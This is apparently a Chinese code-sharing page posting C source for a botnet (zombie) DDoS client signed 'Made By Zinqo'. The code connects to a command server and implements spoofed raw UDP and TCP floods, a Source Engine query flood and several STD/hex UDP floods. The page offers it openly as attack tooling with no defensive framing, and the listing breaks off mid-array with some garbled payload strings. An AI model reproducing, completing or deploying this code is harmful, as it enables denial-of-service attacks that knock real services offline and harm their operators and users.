僵尸DDOS attack脚本.c

发布于:2025-02-14 ⋅ 阅读:(148) ⋅ 点赞:(0)

#include <stdlib.h>

#include <stdarg.h>

#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <signal.h>

#include <strings.h>

#include <string.h>

#include <sys/utsname.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/tcp.h>

#include <sys/wait.h>

#include <sys/ioctl.h>

#include <net/if.h>

#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))

#define PAD_RIGHT 1

#define PAD_ZERO 2

#define PRINT_BUF_LEN 12

#define std_packet 1460

//Made By Zinqo.

unsigned char *commServer[] = {"SERVERIP:12345"};

 

const char *useragents[] = {

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",

"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",

"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",

"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",

"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",

};//Made By Zinqo.

 

int initConnection();

void makeRandomStr(unsigned char *buf, int length);

int sockprintf(int sock, char *formatStr, ...);

char *inet_ntoa(struct in_addr in);

int mainCommSock = 0, currentServer = -1, gotIP = 0;

uint32_t *pids;

uint64_t numpids = 0;

struct in_addr ourIP;

#define PHI 0x9e3779b9

static uint32_t Q[4096], c = 362436;

unsigned char macAddress[6] = {0};

 

void init_rand(uint32_t x)

{

        int i;

 

        Q[0] = x;

        Q[1] = x + PHI;

        Q[2] = x + PHI + PHI;

 

        for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;

}

uint32_t rand_cmwc(void)//Made By Zinqo.

{

        uint64_t t, a = 18782LL;

        static uint32_t i = 4095;

        uint32_t x, r = 0xfffffffe;

        i = (i + 1) & 4095;

        t = a * Q[i] + c;

        c = (uint32_t)(t >> 32);

        x = t + c;

        if (x < c) {

                x++;

                c++;

        }

        return (Q[i] = r - x);

}

in_addr_t getRandomIP(in_addr_t netmask) {

        in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;

        return tmp ^ ( rand_cmwc() & ~netmask);

}

unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)

{

    int got = 1, total = 0;

    while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }

    return got == 0 ? NULL : buffer;

}

int getOurIP()

{

    int sock = socket(AF_INET, SOCK_DGRAM, 0);

    if(sock == -1) return 0;

 

    struct sockaddr_in serv;

    memset(&serv, 0, sizeof(serv));

    serv.sin_family = AF_INET;

    serv.sin_addr.s_addr = inet_addr("8.8.8.8");

    serv.sin_port = htons(53);

 

    int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));

    if(err == -1) return 0;

 

    struct sockaddr_in name;

    socklen_t namelen = sizeof(name);

    err = getsockname(sock, (struct sockaddr*) &name, &namelen);

    if(err == -1) return 0;

 

    ourIP.s_addr = name.sin_addr.s_addr;

    int cmdline = open("/proc/net/route", O_RDONLY);

    char linebuf[4096];

    while(fdgets(linebuf, 4096, cmdline) != NULL)

    {

        if(strstr(linebuf, "\t00000000\t") != NULL)

        {

            unsigned char *pos = linebuf;

            while(*pos != '\t') pos++;

            *pos = 0;

            break;

        }

        memset(linebuf, 0, 4096);

    }

    close(cmdline);

 

    if(*linebuf)

    {

        int i;

        struct ifreq ifr;

        strcpy(ifr.ifr_name, linebuf);

        ioctl(sock, SIOCGIFHWADDR, &ifr);

        for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];

    }

 

    close(sock);

}

void trim(char *str)

{

        int i;

        int begin = 0;

        int end = strlen(str) - 1;

 

        while (isspace(str[begin])) begin++;

 

        while ((end >= begin) && isspace(str[end])) end--;

        for (i = begin; i <= end; i++) str[i - begin] = str[i];

 

        str[i - begin] = '\0';

}

 

static void printchar(unsigned char **str, int c)

{

        if (str) {

                **str = c;

                ++(*str);

        }

        else (void)write(1, &c, 1);

}

 

static int prints(unsigned char **out, const unsigned char *string, int width, int pad)

{

        register int pc = 0, padchar = ' ';

 

        if (width > 0) {

                register int len = 0;

                register const unsigned char *ptr;//Made By Zinqo.

                for (ptr = string; *ptr; ++ptr) ++len;

                if (len >= width) width = 0;

                else width -= len;

                if (pad & PAD_ZERO) padchar = '0';

        }

        if (!(pad & PAD_RIGHT)) {

                for ( ; width > 0; --width) {

                        printchar (out, padchar);

                        ++pc;

                }

        }

        for ( ; *string ; ++string) {

                printchar (out, *string);

                ++pc;

        }

        for ( ; width > 0; --width) {

                printchar (out, padchar);

                ++pc;

        }

 

        return pc;

}

 

static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)

{

        unsigned char print_buf[PRINT_BUF_LEN];//Made By Zinqo.

        register unsigned char *s;

        register int t, neg = 0, pc = 0;

        register unsigned int u = i;

 

        if (i == 0) {

                print_buf[0] = '0';

                print_buf[1] = '\0';

                return prints (out, print_buf, width, pad);

        }

 

        if (sg && b == 10 && i < 0) {

                neg = 1;

                u = -i;

        }

 

        s = print_buf + PRINT_BUF_LEN-1;

        *s = '\0';

 

        while (u) {

                t = u % b;

                if( t >= 10 )

                t += letbase - '0' - 10;

                *--s = t + '0';

                u /= b;

        }

 

        if (neg) {

                if( width && (pad & PAD_ZERO) ) {

                        printchar (out, '-');

                        ++pc;

                        --width;

                }

                else {

                        *--s = '-';

                }

        }

 

        return pc + prints (out, s, width, pad);

}

 

static int print(unsigned char **out, const unsigned char *format, va_list args )

{

        register int width, pad;

        register int pc = 0;

        unsigned char scr[2];

 

        for (; *format != 0; ++format) {

                if (*format == '%') {

                        ++format;

                        width = pad = 0;

                        if (*format == '\0') break;

                        if (*format == '%') goto out;

                        if (*format == '-') {

                                ++format;

                                pad = PAD_RIGHT;

                        }

                        while (*format == '0') {

                                ++format;

                                pad |= PAD_ZERO;

                        }

                        for ( ; *format >= '0' && *format <= '9'; ++format) {

                                width *= 10;

                                width += *format - '0';

                        }

                        if( *format == 's' ) {

                                register char *s = (char *)va_arg( args, int );

                                pc += prints (out, s?s:"(null)", width, pad);//Made By Zinqo.

                                continue;

                        }

                        if( *format == 'd' ) {

                                pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');

                                continue;

                        }

                        if( *format == 'x' ) {

                                pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');

                                continue;

                        }

                        if( *format == 'X' ) {

                                pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');

                                continue;

                        }

                        if( *format == 'u' ) {

                                pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');

                                continue;

                        }

                        if( *format == 'c' ) {

                                scr[0] = (unsigned char)va_arg( args, int );

                                scr[1] = '\0';

                                pc += prints (out, scr, width, pad);

                                continue;

                        }

                }

                else {

out:

                        printchar (out, *format);

                        ++pc;

                }

        }

        if (out) **out = '\0';//Made By Zinqo.

        va_end( args );

        return pc;

}

int sockprintf(int sock, char *formatStr, ...)

{

        unsigned char *textBuffer = malloc(2048);

        memset(textBuffer, 0, 2048);

        char *orig = textBuffer;

        va_list args;

        va_start(args, formatStr);

        print(&textBuffer, formatStr, args);

        va_end(args);

        orig[strlen(orig)] = '\n';

        int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);

        free(orig);

        return q;

}

 

int getHost(unsigned char *toGet, struct in_addr *i)

{

        struct hostent *h;

        if((i->s_addr = inet_addr(toGet)) == -1) return 1;

        return 0;

}

 

void makeRandomStr(unsigned char *buf, int length)

{

        int i = 0;

        for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;

}

 

int recvLine(int socket, unsigned char *buf, int bufsize)

{

        memset(buf, 0, bufsize);

        fd_set myset;

        struct timeval tv;

        tv.tv_sec = 30;

        tv.tv_usec = 0;

        FD_ZERO(&myset);

        FD_SET(socket, &myset);

        int selectRtn, retryCount;

        if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {

                while(retryCount < 10)

                {

                        tv.tv_sec = 30;

                        tv.tv_usec = 0;

                        FD_ZERO(&myset);

                        FD_SET(socket, &myset);

                        if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {

                                retryCount++;

                                continue;

                        }

                        break;

                }

        }

        unsigned char tmpchr;

        unsigned char *cp;

        int count = 0;

        cp = buf;

        while(bufsize-- > 1)

        {

                if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {

                        *cp = 0x00;

                        return -1;

                }

                *cp++ = tmpchr;

                if(tmpchr == '\n') break;//Made By Zinqo.

                count++;

        }

        *cp = 0x00;

        return count;

}

 

int connectTimeout(int fd, char *host, int port, int timeout)

{

        struct sockaddr_in dest_addr;

        fd_set myset;

        struct timeval tv;

        socklen_t lon;

 

        int valopt;

        long arg = fcntl(fd, F_GETFL, NULL);

        arg |= O_NONBLOCK;

        fcntl(fd, F_SETFL, arg);

 

        dest_addr.sin_family = AF_INET;

        dest_addr.sin_port = htons(port);

        if(getHost(host, &dest_addr.sin_addr)) return 0;

        memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

        int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 

        if (res < 0) {

                if (errno == EINPROGRESS) {

                        tv.tv_sec = timeout;

                        tv.tv_usec = 0;

                        FD_ZERO(&myset);

                        FD_SET(fd, &myset);

                        if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {

                                lon = sizeof(int);

                                getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);

                                if (valopt) return 0;

                        }

                        else return 0;

                }

                else return 0;

        }

 

        arg = fcntl(fd, F_GETFL, NULL);

        arg &= (~O_NONBLOCK);

        fcntl(fd, F_SETFL, arg);

 

        return 1;

}

 

int listFork()

{

        uint32_t parent, *newpids, i;

        parent = fork();

        if (parent <= 0) return parent;

        numpids++;

        newpids = (uint32_t*)malloc((numpids + 1) * 4);

        for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];

        newpids[numpids - 1] = parent;

        free(pids);

        pids = newpids;

        return parent;

}

 

unsigned short csum (unsigned short *buf, int count)

{

        register uint64_t sum = 0;

        while( count > 1 ) { sum += *buf++; count -= 2; }

        if(count > 0) { sum += *(unsigned char *)buf; }

        while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }

        return (uint16_t)(~sum);

}

 

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)

{

 

        struct tcp_pseudo

        {

                unsigned long src_addr;

                unsigned long dst_addr;

                unsigned char zero;

                unsigned char proto;

                unsigned short length;

        } pseudohead;

        unsigned short total_len = iph->tot_len;

        pseudohead.src_addr=iph->saddr;

        pseudohead.dst_addr=iph->daddr;

        pseudohead.zero=0;

        pseudohead.proto=IPPROTO_TCP;

        pseudohead.length=htons(sizeof(struct tcphdr));

        int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);

        unsigned short *tcp = malloc(totaltcp_len);

        memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));

        memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));

        unsigned short output = csum(tcp,totaltcp_len);

        free(tcp);

        return output;

}

 

void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)

{

        iph->ihl = 5;

        iph->version = 4;

        iph->tos = 0;

        iph->tot_len = sizeof(struct iphdr) + packetSize;

        iph->id = rand_cmwc();

        iph->frag_off = 0;

        iph->ttl = MAXTTL;

        iph->protocol = protocol;

        iph->check = 0;

        iph->saddr = source;

        iph->daddr = dest;

}

 

void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {

        struct sockaddr_in dest_addr;

        dest_addr.sin_family = AF_INET;

        if(port == 0) dest_addr.sin_port = rand_cmwc();

        else dest_addr.sin_port = htons(port);

        if(getHost(target, &dest_addr.sin_addr)) return;

        memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

        register unsigned int pollRegister;

        pollRegister = pollinterval; 

                int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

                if(!sockfd) {

                        return;

                }

                int tmp = 1;

                if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {

                        return;

                }

                int counter = 50;

                while(counter--) {

                        srand(time(NULL) ^ rand_cmwc());

                        init_rand(rand());

                }

                in_addr_t netmask;//Made By Zinqo.

                netmask = ( ~((1 << (32 - spoofit)) - 1) );

                unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];

                struct iphdr *iph = (struct iphdr *)packet;

                struct udphdr *udph = (void *)iph + sizeof(struct iphdr);

                makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);

                udph->len = htons(sizeof(struct udphdr) + packetsize);

                udph->source = rand_cmwc();

                udph->dest = (port == 0 ? rand_cmwc() : htons(port));

                udph->check = 0;

                makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);

                iph->check = csum ((unsigned short *) packet, iph->tot_len);

                int end = time(NULL) + timeEnd;

                register unsigned int i = 0;

                while(1) {

                        sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

                        udph->source = rand_cmwc();

                        udph->dest = (port == 0 ? rand_cmwc() : htons(port));

                        iph->id = rand_cmwc();

                        iph->saddr = htonl( getRandomIP(netmask) );

                        iph->check = csum ((unsigned short *) packet, iph->tot_len);

                        if(i == pollRegister) {

                                if(time(NULL) > end) break;

                                i = 0;

                                continue;

                        }

                        i++;

                }

        }

void ftcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)

{

        register unsigned int pollRegister;

        pollRegister = pollinterval;

 

        struct sockaddr_in dest_addr;

 

        dest_addr.sin_family = AF_INET;

        if(port == 0) dest_addr.sin_port = rand_cmwc();

        else dest_addr.sin_port = htons(port);

        if(getHost(target, &dest_addr.sin_addr)) return;

        memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

 

        int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

        if(!sockfd)

        {

                return;

        }

 

        int tmp = 1;

        if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)

        {

                return;

        }

 

        in_addr_t netmask;

 

        if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );

        else netmask = ( ~((1 << (32 - spoofit)) - 1) );

 

        unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];

        struct iphdr *iph = (struct iphdr *)packet;

        struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

 

        makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);

 

        tcph->source = rand_cmwc();

        tcph->seq = rand_cmwc();

        tcph->ack_seq = 0;

        tcph->doff = 5;

 

        if(!strcmp(flags, "ALL"))

        {

                tcph->syn = 1;

                tcph->rst = 1;

                tcph->fin = 1;

                tcph->ack = 1;

                tcph->psh = 1;

        } else {

                unsigned char *pch = strtok(flags, ",");

                while(pch)

                {

                        if(!strcmp(pch, "SYN"))

                        {

                                tcph->syn = 1;

                        } else if(!strcmp(pch, "RST"))//Made By Zinqo.

                        {

                                tcph->rst = 1;

                        } else if(!strcmp(pch, "FIN"))

                        {

                                tcph->fin = 1;

                        } else if(!strcmp(pch, "ACK"))

                        {

                                tcph->ack = 1;

                        } else if(!strcmp(pch, "PSH"))

                        {

                                tcph->psh = 1;

                        } else {

                        }

                        pch = strtok(NULL, ",");

                }

        }

 

        tcph->window = rand_cmwc();

        tcph->check = 0;

        tcph->urg_ptr = 0;

        tcph->dest = (port == 0 ? rand_cmwc() : htons(port));

        tcph->check = tcpcsum(iph, tcph);

 

        iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

        int end = time(NULL) + timeEnd;

        register unsigned int i = 0;

        while(1)

        {

                sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 

                iph->saddr = htonl( getRandomIP(netmask) );

                iph->id = rand_cmwc();

                tcph->seq = rand_cmwc();

                tcph->source = rand_cmwc();

                tcph->check = 0;

                tcph->check = tcpcsum(iph, tcph);

                iph->check = csum ((unsigned short *) packet, iph->tot_len);

 

                if(i == pollRegister)

                {

                        if(time(NULL) > end) break;

                        i = 0;

                        continue;//Made By Zinqo.

                }

                i++;

        }

}

 void SendSTDHEX(unsigned char *ip, int port, int secs)

 {

 int std_hex;

 std_hex = socket(AF_INET, SOCK_DGRAM, 0);

 time_t start = time(NULL);

 struct sockaddr_in sin;

 struct hostent *hp;

 hp = gethostbyname(ip);

 bzero((char*) &sin,sizeof(sin));

 bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

 sin.sin_family = hp->h_addrtype;

 sin.sin_port = port;

 unsigned int a = 0;

 while(1)

 {

        char *rhexstring[] = {

  "\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58",

  "/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58",//Made By Zinqo.

        };

  if (a >= 50)

  {

   send(std_hex, rhexstring, std_packet, 0);

   connect(std_hex,(struct sockaddr *) &sin, sizeof(sin));

   if (time(NULL) >= start + secs)

   {

    close(std_hex);

    _exit(0);

   }

   a = 0;

  }

  a++;

 }

}

 

 int socket_connect(char *host, in_port_t port) {

 struct hostent *hp;

 struct sockaddr_in addr;

 int on = 1, sock;     

 if ((hp = gethostbyname(host)) == NULL) return 0;

 bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);

 addr.sin_port = htons(port);

 addr.sin_family = AF_INET;

 sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

 setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));

 if (sock == -1) return 0;

 if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;

 return sock;

}

void makevsepacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)

{

    char *vse_payload;

    int vse_payload_len;

    vse_payload = "\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79 + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x79 rfdknjms", &vse_payload_len;//Made By Zinqo.

        iph->ihl = 5;

        iph->version = 4;

        iph->tos = 0;

        iph->tot_len = sizeof(struct iphdr) + packetSize + vse_payload_len;

        iph->id = rand_cmwc();

        iph->frag_off = 0;

        iph->ttl = MAXTTL;

        iph->protocol = protocol;

        iph->check = 0;

        iph->saddr = source;

        iph->daddr = dest;//Made By Zinqo.

}//Made By Zinqo.

void vseattack(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)

{

    char *vse_payload;

    int vse_payload_len;

    vse_payload = "\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79 + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x79 rfdknjms", &vse_payload_len;//Made By Zinqo.

 struct sockaddr_in dest_addr;

 dest_addr.sin_family = AF_INET;

 if(port == 0) dest_addr.sin_port = rand_cmwc();

 else dest_addr.sin_port = htons(port);

 if(getHost(target, &dest_addr.sin_addr)) return;

 memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

 register unsigned int pollRegister;

 pollRegister = pollinterval;

 if(spoofit == 32) {

 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

 if(!sockfd) {

 return;

 }

 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);

 if(buf == NULL) return;

 memset(buf, 0, packetsize + 1);

 makeRandomStr(buf, packetsize);

 int end = time(NULL) + timeEnd;

 register unsigned int i = 0;

 register unsigned int ii = 0;

 while(1) {

 sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 if(i == pollRegister) {

 if(port == 0) dest_addr.sin_port = rand_cmwc();

 if(time(NULL) > end) break;

 i = 0;

 continue;

     }

 i++;

 if(ii == sleepcheck) {

 usleep(sleeptime*1000);

 ii = 0;

 continue;

     }

 ii++;

   }

   } else {

 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

 if(!sockfd) {

 return;

    }

 int tmp = 1;

 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {

 return;

    }

 int counter = 50;

 while(counter--) {

 srand(time(NULL) ^ rand_cmwc());

    }

 in_addr_t netmask;

 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );

 else netmask = ( ~((1 << (32 - spoofit)) - 1) );

 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];

 struct iphdr *iph = (struct iphdr *)packet;

 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);

 makevsepacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);

 udph->len = htons(sizeof(struct udphdr) + packetsize + vse_payload_len);

 udph->source = rand_cmwc();

 udph->dest = (port == 0 ? rand_cmwc() : htons(port));

 udph->check = 0;

 udph->check = (iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);

 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);

 iph->check = csum ((unsigned short *) packet, iph->tot_len);

 int end = time(NULL) + timeEnd;

 register unsigned int i = 0;

 register unsigned int ii = 0;

 while(1) {//Made By Zinqo.

 sendto(sockfd, packet, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, sizeof(packet), (struct sockaddr *)&dest_addr, sizeof(dest_addr));

 udph->source = rand_cmwc();

 udph->dest = (port == 0 ? rand_cmwc() : htons(port));

 iph->id = rand_cmwc();

 iph->saddr = htonl( getRandomIP(netmask) );

 iph->check = csum ((unsigned short *) packet, iph->tot_len);

 if(i == pollRegister) {

 if(time(NULL) > end) break;

 i = 0;

 continue;

   }

 i++;

 if(ii == sleepcheck) {

 usleep(sleeptime*1000);

 ii = 0;

 continue;

    }

 ii++;

   }

  }

 }

 

 

void SendSTD(unsigned char *ip, int port, int secs) {

    int iSTD_Sock;

    iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);

    time_t start = time(NULL);

    struct sockaddr_in sin;

    struct hostent *hp;

    hp = gethostbyname(ip);

    bzero((char*) &sin,sizeof(sin));

    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

    sin.sin_family = hp->h_addrtype;

    sin.sin_port = port;

    unsigned int a = 0;

    while(1){

        if (a >= 50) {

            send(iSTD_Sock, "d4mQasDSH6", 65, 0);

            connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));

            if (time(NULL) >= start + secs) {

                close(iSTD_Sock);

    _exit(0);

            }

            a = 0;

        }

        a++;

    }

}

 

 

void stdhexflood(unsigned char *ip, int port, int secs) {

 int std_hex;

 std_hex = socket(AF_INET, SOCK_DGRAM, 0);

 time_t start = time(NULL);

 struct sockaddr_in sin;

 struct hostent *hp;

 hp = gethostbyname(ip);//Made By Zinqo.

 bzero((char*) &sin,sizeof(sin));

 bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

 sin.sin_family = hp->h_addrtype;

 sin.sin_port = port;

 unsigned int a = 0;

 while(1)

 {

     char *shexstring[] = {

  "\x6c\x58\x66\x59\x43\x37\x54\x46\x61\x43\x71\x35\x48\x76\x39\x38\x32\x77\x75\x49\x69\x4b\x63\x48\x6c\x67\x46\x41\x30\x6a\x45\x73\x57\x32\x4f\x46\x51\x53\x74\x4f\x37\x78\x36\x7a\x4e\x39\x64\x42\x67\x61\x79\x79\x57\x67\x76\x62\x6b\x30\x4c\x33\x6c\x5a\x43\x6c\x7a\x4a\x43\x6d\x46\x47\x33\x47\x56\x4e\x44\x46\x63\x32\x69\x54\x48\x4e\x59\x79\x37\x67\x73\x73\x38\x64\x48\x62\x6f\x42\x64\x65\x4b\x45\x31\x56\x63\x62\x6c\x48\x31\x41\x78\x72\x56\x79\x69\x71\x6f\x6b\x77\x32\x52\x59\x46\x76\x64\x34\x63\x64\x31\x51\x78\x79\x61\x48\x61\x77\x77\x50\x36\x67\x6f\x39\x66\x65\x42\x65\x48\x64\x6c\x76\x4d\x52\x44\x4c\x62\x45\x62\x74\x79\x33\x50\x79\x38\x79\x56\x54\x33\x55\x54\x6a\x79\x33\x5a\x4b\x4f\x4e\x58\x6d\x4d\x4e\x76\x55\x52\x54\x55\x5a\x54\x6b\x65\x48\x33\x37\x58\x54\x39\x48\x35\x4a\x77\x48\x30\x76\x4b\x42\x31\x59\x77\x32\x72\x53\x59\x6b\x54\x77\x63\x54\x76\x78\x36\x4f\x6c\x74\x53\x49\x6c\x61\x68\x46\x67\x39\x32\x75\x43\x52\x62\x4c\x4d\x38\x61\x6d\x68\x38\x47\x61\x47\x47\x47\x52\x77\x35\x36\x69\x4e\x55\x54\x47\x4c\x67\x69\x33\x39\x35\x76\x6a\x39\x5a\x56\x56\x65\x50\x30\x31\x6b\x37\x54\x76\x71\x33\x4e\x52\x76\x78\x6f\x23\x23\x23\x23\x23\x23\x23\x23\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x40\x21\x40\x21\x40\x24\x21\x25\x40\x26\x24\x5e\x21\x40\x25\x25\x5e\x21\x40\x25\x2a\x21\x28\x40\x25\x26\x2a\x28\x21\x40\x25\x26\x21\x40\x2a\x28\x25\x26\x21\x40\x28\x29\x25\x2a\x21\x40\x25\x29\x29"};//Made By Zinqo.

  if (a >= 50)

  {

   send(std_hex, shexstring, std_packet, 0);

   connect(std_hex,(struct sockaddr *) &sin, sizeof(sin));

   if (time(NULL) >= start + secs)

   {

    close(std_hex);

    _exit(0);

   }

   a = 0;

  }

  a++;

        }

}

 

 

 void SendSTD_HEX(unsigned char *ip, int port, int secs)

 {

 int std_hex;

 std_hex = socket(AF_INET, SOCK_DGRAM, 0);

 time_t start = time(NULL);

 struct sockaddr_in sin;

 struct hostent *hp;

 hp = gethostbyname(ip);

 bzero((char*) &sin,sizeof(sin));

 bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

 sin.sin_family = hp->h_addrtype;

 sin.sin_port = port;

 unsigned int a = 0;//Made By Zinqo.

 while(1)

 {

        char *rhexstring[] = {

        "\x64\x61\x79\x7a\x64\x64\x6f\x73\x2e\x63\x6f\x20\x72\x75\x6e\x73\x20\x79\x6f\x75\x20\x69\x66\x20\x79\x6f\x75\x20\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x6c\x6f\x6c\x20\x74\x68\x65\x6e\x20\x79\x6f\x75\x20\x74\x63\x70\x20\x64\x75\x6d\x70\x65\x64\x20\x69\x74\x20\x62\x65\x63\x61\x75\x73\x65\x20\x69\x74\x20\x68\x69\x74\x20\x79\x6f\x75\x20\x61\x6e\x64\x20\x79\x6f\x75\x20\x6e\x65\x65\x64\x20\x74\x6f\x20\x70\x61\x74\x63\x68\x20\x69\x74\x20\x6c\x6f\x6c\x6f\x6c\x6f\x6c\x6f\x6c\x6f\x6c",

